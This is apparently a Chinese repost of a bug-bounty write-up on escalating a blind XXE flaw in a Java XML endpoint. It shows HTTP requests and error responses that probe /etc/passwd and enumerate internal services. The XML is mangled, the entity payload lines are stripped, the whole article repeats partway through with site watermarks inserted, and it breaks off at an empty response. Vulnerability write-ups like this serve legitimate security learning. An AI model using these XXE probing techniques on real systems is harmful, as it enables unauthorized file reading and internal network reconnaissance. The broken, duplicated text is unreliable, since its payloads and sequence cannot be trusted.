从XXE盲注到获取root级别文件读取权限
在最近的一次赏金活动中，我发现了一个XML终端，它对XXE漏洞利用尝试给出了有趣的响应。针对这一点，我没有找到太多的文档记录，只发现了在2016年由一位开发人员做出的记录。
在本文中，我将梳理我的思考过程，并逐步解决遇到的各种问题，最终我将一个中危漏洞成功提升为高危漏洞。我会着重说明我遇到的各种错误信息，并希望这些错误信息能够指导其他人走向正确的道路。
在这里，我已经将所有终端和其他可以识别身份的信息隐去，因为该漏洞是作为私人披露计划的一部分发布的，受漏洞影响的公司不希望我发布与其相关的任何信息。
寻找漏洞
引起我注意的，是一个使用简单的XML格式错误消息进行响应的终端，以及一个出现404错误的终端。
请求：
GET /interesting/ HTTP/1.1
Host: server.company.com
响应：
HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 04 Dec 2018 10:08:18 GMT
Content-Type: text/xml
Content-Length: 189
Connection: keep-alive
result>
errors>
error>The request is invalid: The requested resource could not be found.error>
errors>
result>
但是，在我将请求方法更改为POST，并且添加Content-Type: application/xml标头和无效的XML主体后，得到的响应看起来更有希望了。
请求：
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
"abc" ?>
Doc/>
响应：
The request is invalid: The request content was malformed:
XML version "abc" is not supported, only XML 1.0 is supported.
假如我们发送结构合法的XML文档，会出现下面这样的情况。
请求：
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
xml version="1.0" ?>
Doc/>
响应：
result>
errors>
error>Authentication failed: The resource requires authentication, which was not supplied with the requesterror>
errors>
result>
需要注意，服务器显然需要凭据才能与终端进行交互。但遗憾的是，没有可参考的文档指出具体是如何提供凭据，并且我也无法在任何地方找到有效的凭据。这可能是个坏消息，因为我之前发现的一些XXE漏洞需要与终端进行某种“有效”的交互。如果没有身份验证，利用这个漏洞可能会变得更加困难。
但是不用担心，在任何情况下，我们都应该尝试包含DOCTYPE定义，从而查看是否完全阻止了外部实体的使用。因此，我进行了尝试。
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The server was not able to produce a timely response to your request.
我仔细观察Burp Collabourator的交互，并期待着传入的HTTP请求，但只得到了以下的内容。
看上去，服务器解析了我的域名，但预期的HTTP请求并不存在。此外，服务器在几秒钟后出现了500超时错误。
这种情况的发生，似乎是因为部署了防火墙。我继续尝试通过其他的端口传出HTTP请求，但无济于事。我试过的所有端口都出现了超时的错误，这表明受漏洞影响的服务器可以依靠防火墙来阻止所有意外发出的流量。在这里，要给安全团队点赞。
继续摸着石头过河
到目前，我有一个有趣的发现，但没有任何成果。通过尝试访问本地文件、内部网络位置以及服务，我希望能够收获到一些中危的漏洞。
为了证明这种影响，我对漏洞进行了证明，并成功确认了这些文件的存在。
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The markup declarations contained or pointed to by the document type declaration must be well-formed.
这表示，该文件存在，并且可以由XML解析器打开和读取，但该文件的内容并非有效的文档类型定义（DTD），因此解析器解析失败，并产生错误。
换而言之，在这里并没有禁用外部实体的加载，但我们没有得到任何输出。在这个阶段，这似乎是一个XXE盲注的问题。
此外，我们可以假设正在运行的解析器是JAVA的SAX Parser，因为这段错误字符串似乎与Java错误类org.xml.sax.SAXParseExceptionpublicId相关。这非常有趣，因为Java在涉及到XXE漏洞时有许多独特之处，我们稍后会进行分析。
在尝试访问不存在的文件时，其响应有所不同。
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The request is invalid: The request content was malformed:
/etc/passwdxxx (No such file or directory)
好的，这非常有用，但还不是最好。我们如何将这个XXE盲注漏洞转变为端口扫描程序呢？
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The request is invalid: The request content was malformed:
Invalid Http response
这样一来，就意味着我们可以枚举内部服务。尽管仍然不是我想要的结果，但至少有一些收获了。这种类型的XXE盲注实际上与服务器端请求伪造（SSRF）漏洞的行为类似：攻击者可以运行内部HTTP请求，但无法读取响应。
我想知道，是否可以应用任何其他与SSRF相关的技术，以便更好地利用这个XXE盲注漏洞。我们需要检查对其他协议是否支持，包括https、gopher、ftp、jar、scp等。我尝试了一些没有结果的协议，它们产生了有用的错误消息，如下面的请求和响应所示。
请求：
xml version="1.0" ?>
%ext; ]>
r>r>
响应：
在最近的一次赏金活动中，我发现了一个XML终端，它对XXE漏洞利用尝试给出了有趣的响应。针对这一点，我没有找到太多的文档记录，只发现了在2016年由一位开发人员做出的记录。
在本文中，我将梳理我的思考过程，并逐步解决遇到的各种问题，最终我将一个中危漏洞成功提升为高危漏洞。我会着重说明我遇到的各种错误信息，并希望这些错误信息能够指导其他人走向正确的道路。
在这里，我已经将所有终端和其他可以识别身份的信息隐去，因为该漏洞是作为私人披露计划的一部分发布的，受漏洞影响的公司不希望我发布与其相关的任何信息。
寻找漏洞
引起我注意的，是一个使用简单的XML格式错误消息进行响应的终端，以及一个出现404错误的终端。
请求：
GET /interesting/ HTTP/1.1
Host: server.company.com
响应：
HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 04 Dec 2018 10:08:18 GMT
Content-Type: text/xml
Content-Length: 189
Connection: keep-alive
result>
errors>
error>The request is invalid: The requested resource could not be found.error>
内容来自无奈安全网
errors>
result>
但是，在我将请求方法更改为POST，并且添加Content-Type: application/xml标头和无效的XML主体后，得到的响应看起来更有希望了。
请求：
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
"abc" ?>
Doc/>
响应：
The request is invalid: The request content was malformed:
XML version "abc" is not supported, only XML 1.0 is supported.
假如我们发送结构合法的XML文档，会出现下面这样的情况。
请求：
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
xml version="1.0" ?>
Doc/>
响应：
result>
errors>
error>Authentication failed: The resource requires authentication, which was not supplied with the requesterror>
errors>
result>
需要注意，服务器显然需要凭据才能与终端进行交互。但遗憾的是，没有可参考的文档指出具体是如何提供凭据，并且我也无法在任何地方找到有效的凭据。这可能是个坏消息，因为我之前发现的一些XXE漏洞需要与终端进行某种“有效”的交互。如果没有身份验证，利用这个漏洞可能会变得更加困难。 内容来自无奈安全网
但是不用担心，在任何情况下，我们都应该尝试包含DOCTYPE定义，从而查看是否完全阻止了外部实体的使用。因此，我进行了尝试。
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The server was not able to produce a timely response to your request.
我仔细观察Burp Collabourator的交互，并期待着传入的HTTP请求，但只得到了以下的内容。
看上去，服务器解析了我的域名，但预期的HTTP请求并不存在。此外，服务器在几秒钟后出现了500超时错误。
这种情况的发生，似乎是因为部署了防火墙。我继续尝试通过其他的端口传出HTTP请求，但无济于事。我试过的所有端口都出现了超时的错误，这表明受漏洞影响的服务器可以依靠防火墙来阻止所有意外发出的流量。在这里，要给安全团队点赞。
继续摸着石头过河
到目前，我有一个有趣的发现，但没有任何成果。通过尝试访问本地文件、内部网络位置以及服务，我希望能够收获到一些中危的漏洞。
本文来自无奈人生安全网
为了证明这种影响，我对漏洞进行了证明，并成功确认了这些文件的存在。
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The markup declarations contained or pointed to by the document type declaration must be well-formed.
这表示，该文件存在，并且可以由XML解析器打开和读取，但该文件的内容并非有效的文档类型定义（DTD），因此解析器解析失败，并产生错误。
换而言之，在这里并没有禁用外部实体的加载，但我们没有得到任何输出。在这个阶段，这似乎是一个XXE盲注的问题。
此外，我们可以假设正在运行的解析器是JAVA的SAX Parser，因为这段错误字符串似乎与Java错误类org.xml.sax.SAXParseExceptionpublicId相关。这非常有趣，因为Java在涉及到XXE漏洞时有许多独特之处，我们稍后会进行分析。
在尝试访问不存在的文件时，其响应有所不同。
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The request is invalid: The request content was malformed:
/etc/passwdxxx (No such file or directory)
好的，这非常有用，但还不是最好。我们如何将这个XXE盲注漏洞转变为端口扫描程序呢？ www.wnhack.com
请求：
xml version="1.0" ?>
%ext;
]>
r>r>
响应：
The request is invalid: The request content was malformed:
Invalid Http response
这样一来，就意味着我们可以枚举内部服务。尽管仍然不是我想要的结果，但至少有一些收获了。这种类型的XXE盲注实际上与服务器端请求伪造（SSRF）漏洞的行为类似：攻击者可以运行内部HTTP请求，但无法读取响应。
我想知道，是否可以应用任何其他与SSRF相关的技术，以便更好地利用这个XXE盲注漏洞。我们需要检查对其他协议是否支持，包括https、gopher、ftp、jar、scp等。我尝试了一些没有结果的协议，它们产生了有用的错误消息，如下面的请求和响应所示。
请求：
xml version="1.0" ?>
%ext; ]>
r>r>
响应：